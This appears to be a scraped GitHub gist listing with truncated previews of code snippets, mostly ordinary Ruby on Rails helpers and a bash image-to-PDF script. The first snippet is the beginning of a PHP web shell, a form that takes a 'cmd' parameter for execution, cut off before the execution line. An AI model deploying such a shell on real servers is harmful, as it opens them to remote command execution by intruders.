http://reefpoints.dockyard.com/2013/11/05/design-patterns-command-pattern.html
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
<input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
<input type="SUBMIT" value="Execute"> | |
</form> | |
<pre> | |
<?php | |
if(isset($_GET['cmd'])) | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Integer | |
# @example 15778476.to_duration.in_days | |
def to_duration | |
ActiveSupport::Duration.build(self) | |
end | |
end | |
class String | |
# @example "15778476".to_duration | |
def to_duration |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
namespace :json do | |
desc 'Export all data to JSON files' | |
task :export => :environment do | |
Rails.application.eager_load! | |
ApplicationRecord.descendants.each do |model| | |
next if model.table_name.nil? || model.table_name == '' | |
begin | |
data = model.all | |
next if data == [] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Support for http digest auth | |
# Discovered here: http://johan.bingodisk.com/public/code/net_digest_auth.rb | |
require 'digest/md5' | |
require 'net/http' | |
module Net | |
module HTTPHeader | |
@@nonce_count = -1 | |
CNONCE = Digest::MD5.new("%x" % (Time.now.to_i + rand(65535))).hexdigest |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!bin/bash | |
# Requirements: imagemagick, ghostscript, pdftk | |
############################################# | |
# create pdf for each png | |
############################################# | |
for image in *.png; do | |
filename="${image%%.*}".pdf |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ActiveLdapExtensions | |
# | |
# @author Christian Nennemann | |
# | |
module ActiveLdapExtensions | |
extend ActiveSupport::Concern | |
module Time | |
# Convert the time to the FILETIME format, a 64-bit value representing the | |
# number of 100-nanosecond intervals since January 1, 1601 (UTC). |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ApplicationController | |
around_filter :global_request_logging | |
def global_request_logging | |
logger.tagged('USERAGENT'){ logger.info "#{request.headers['HTTP_USER_AGENT']}" } | |
begin | |
yield | |
ensure | |
logger.info "response_status: #{response.status}" | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#ApplicationController | |
after_action :set_pages | |
def set_pages | |
max_size = 5 | |
session[:pages] = [] unless session[:pages] | |
session[:pages].shift while(session[:pages].size >= max_size) | |
session[:pages] << request.original_url | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class IceCube::Occurrence | |
def self.evolve(occurrence) | |
occurrence.to_time | |
end | |
end |
NewerOlder